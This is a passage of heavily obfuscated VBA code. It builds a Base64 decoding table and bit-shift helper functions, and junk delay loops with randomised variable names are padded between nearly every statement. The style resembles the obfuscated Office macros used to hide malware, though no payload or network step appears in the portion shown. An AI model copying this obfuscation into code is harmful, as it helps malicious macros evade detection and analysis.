Do While UlorjHQPzikE < 1179 + 10
UlorjHQPzikE = UlorjHQPzikE + 1: DoEvents
Loop
Dim IkGShOgRVvkh As Integer
IkGShOgRVvkh = 1791
Do While IkGShOgRVvkh < 1791 + 10
IkGShOgRVvkh = IkGShOgRVvkh + 1: DoEvents
Loop
aDecTab(C) = t
Dim eYqawgrxtEVk As Integer
eYqawgrxtEVk = 1637
Do While eYqawgrxtEVk < 1637 + 10
eYqawgrxtEVk = eYqawgrxtEVk + 1: DoEvents
Loop
Dim yQNkGflhs As Integer
yQNkGflhs = 1588
Do While yQNkGflhs < 1588 + 10
yQNkGflhs = yQNkGflhs + 1: DoEvents
Loop
t = t + 1
Dim pAGCNftBC As Integer
pAGCNftBC = 1713
Do While pAGCNftBC < 1713 + 10
pAGCNftBC = pAGCNftBC + 1: DoEvents
Loop
Dim GNsFEUYbSrG As Integer
GNsFEUYbSrG = 712
Do While GNsFEUYbSrG < 712 + 10
GNsFEUYbSrG = GNsFEUYbSrG + 1: DoEvents
Loop
Next
Dim HKBbDjhODYN As Integer
HKBbDjhODYN = 843
Do While HKBbDjhODYN < 843 + 10
HKBbDjhODYN = HKBbDjhODYN + 1: DoEvents
Loop
Dim GtgGdcE As Integer
GtgGdcE = 719
Do While GtgGdcE < 719 + 10
GtgGdcE = GtgGdcE + 1: DoEvents
Loop
C = Asc("+")
Dim ghCDNlRvKry As Integer
ghCDNlRvKry = 270
Do While ghCDNlRvKry < 270 + 10
ghCDNlRvKry = ghCDNlRvKry + 1: DoEvents
Loop
Dim oLhFxuF As Integer
oLhFxuF = 408
Do While oLhFxuF < 408 + 10
oLhFxuF = oLhFxuF + 1: DoEvents
Loop
aDecTab(C) = t
Dim UlRYrzo As Integer
UlRYrzo = 2467
Do While UlRYrzo < 2467 + 10
UlRYrzo = UlRYrzo + 1: DoEvents
Loop
Dim MNLQouBgt As Integer
MNLQouBgt = 253
Do While MNLQouBgt < 253 + 10
MNLQouBgt = MNLQouBgt + 1: DoEvents
Loop
t = t + 1
Dim CHslsQxjz As Integer
CHslsQxjz = 1295
Do While CHslsQxjz < 1295 + 10
CHslsQxjz = CHslsQxjz + 1: DoEvents
Loop
Dim qiGVOygCfjxud As Integer
qiGVOygCfjxud = 2340
Do While qiGVOygCfjxud < 2340 + 10
qiGVOygCfjxud = qiGVOygCfjxud + 1: DoEvents
Loop
C = Asc("/")
Dim kwKsJvzZNKE As Integer
kwKsJvzZNKE = 1910
Do While kwKsJvzZNKE < 1910 + 10
kwKsJvzZNKE = kwKsJvzZNKE + 1: DoEvents
Loop
Dim bGfwQwHBTD As Integer
bGfwQwHBTD = 109
Do While bGfwQwHBTD < 109 + 10
bGfwQwHBTD = bGfwQwHBTD + 1: DoEvents
Loop
aDecTab(C) = t
Dim clvqS As Integer
clvqS = 247
Do While clvqS < 247 + 10
clvqS = clvqS + 1: DoEvents
Loop
Dim YbSrUzfTofVjtd As Integer
YbSrUzfTofVjtd = 2340
Do While YbSrUzfTofVjtd < 2340 + 10
YbSrUzfTofVjtd = YbSrUzfTofVjtd + 1: DoEvents
Loop
t = t + 1
Dim TGhDCfePTtTfZroK As Integer
TGhDCfePTtTfZroK = 1466
Do While TGhDCfePTtTfZroK < 1466 + 10
TGhDCfePTtTfZroK = TGhDCfePTtTfZroK + 1: DoEvents
Loop
Dim KrUlRYr As Integer
KrUlRYr = 1497
Do While KrUlRYr < 1497 + 10
KrUlRYr = KrUlRYr + 1: DoEvents
Loop
C = Asc("=")
Dim MLQnuBgssI As Integer
MLQnuBgssI = 1183
Do While MLQnuBgssI < 1183 + 10
MLQnuBgssI = MLQnuBgssI + 1: DoEvents
Loop
Dim mlBFIzZohQyA As Integer
mlBFIzZohQyA = 642
Do While mlBFIzZohQyA < 642 + 10
mlBFIzZohQyA = mlBFIzZohQyA + 1: DoEvents
Loop
aDecTab(C) = t  ' should be 64
Dim lPNvkEvmzK As Integer
lPNvkEvmzK = 327
Do While lPNvkEvmzK < 327 + 10
lPNvkEvmzK = lPNvkEvmzK + 1: DoEvents
Loop
Dim ZcSsHAkRUpRV As Integer
ZcSsHAkRUpRV = 1575
Do While ZcSsHAkRUpRV < 1575 + 10
ZcSsHAkRUpRV = ZcSsHAkRUpRV + 1: DoEvents
Loop
End Function
Private Function gmhjMi(ByVal bytValue As Byte) As Byte
 gmhjMi = (bytValue * &H4) And &HFF
Dim zzbjvYrQuM As Integer
zzbjvYrQuM = 1452
Do While zzbjvYrQuM < 1452 + 10
zzbjvYrQuM = zzbjvYrQuM + 1: DoEvents
Loop
Dim bYuQphdpGU As Integer
bYuQphdpGU = 1273
Do While bYuQphdpGU < 1273 + 10
bYuQphdpGU = bYuQphdpGU + 1: DoEvents
Loop
End Function
Private Function RpXvuVUL(ByVal bytValue As Byte) As Byte
 RpXvuVUL = (bytValue * &H10) And &HFF
Dim IoLeqecnlHrBHDPhhDE As Integer
IoLeqecnlHrBHDPhhDE = 1449
Do While IoLeqecnlHrBHDPhhDE < 1449 + 10
IoLeqecnlHrBHDPhhDE = IoLeqecnlHrBHDPhhDE + 1: DoEvents
Loop
Dim tyVdkNba As Integer
tyVdkNba = 606
Do While tyVdkNba < 606 + 10
tyVdkNba = tyVdkNba + 1: DoEvents
Loop
End Function
Private Function pPVPR(ByVal bytValue As Byte) As Byte
 pPVPR = (bytValue * &H40) And &HFF
Dim fdiSLjKvLPSJjL As Integer
fdiSLjKvLPSJjL = 1904
Do While fdiSLjKvLPSJjL < 1904 + 10
fdiSLjKvLPSJjL = fdiSLjKvLPSJjL + 1: DoEvents
Loop
Dim QupSUBVbjZE As Integer
QupSUBVbjZE = 1652
Do While QupSUBVbjZE < 1652 + 10
QupSUBVbjZE = QupSUBVbjZE + 1: DoEvents
Loop
End Function
Private Function clSq4EnJFIl(ByVal bytValue As Byte) As Byte
 clSq4EnJFIl = bytValue \ &H4
Dim kvBxIabwx As Integer
kvBxIabwx = 844
Do While kvBxIabwx < 844 + 10
kvBxIabwx = kvBxIabwx + 1: DoEvents
Loop
Dim zfopnsPVdH As Integer
zfopnsPVdH = 1919
Do While zfopnsPVdH < 1919 + 10
zfopnsPVdH = zfopnsPVdH + 1: DoEvents
Loop
End Function
Private Function RgmEL5K(ByVal bytValue As Byte) As Byte
 RgmEL5K = bytValue \ &H10
Dim YYQcMzdEpFJL As Integer
YYQcMzdEpFJL = 525
Do While YYQcMzdEpFJL < 525 + 10
YYQcMzdEpFJL = YYQcMzdEpFJL + 1: DoEvents
Loop
Dim zBQzDRNwKkk As Integer
zBQzDRNwKkk = 1162
Do While zBQzDRNwKkk < 1162 + 10
zBQzDRNwKkk = zBQzDRNwKkk + 1: DoEvents
Loop
End Function
Private Function roOLmk4aG(ByVal bytValue As Byte) As Byte
 roOLmk4aG = bytValue \ &H40
Dim bpQoaeDspjB As Integer
bpQoaeDspjB = 214
Do While bpQoaeDspjB < 214 + 10
bpQoaeDspjB = bpQoaeDspjB + 1: DoEvents
Loop
Dim EBMesABK As Integer
EBMesABK = 1875
Do While EBMesABK < 1875 + 10
EBMesABK = EBMesABK + 1: DoEvents
Loop
End Function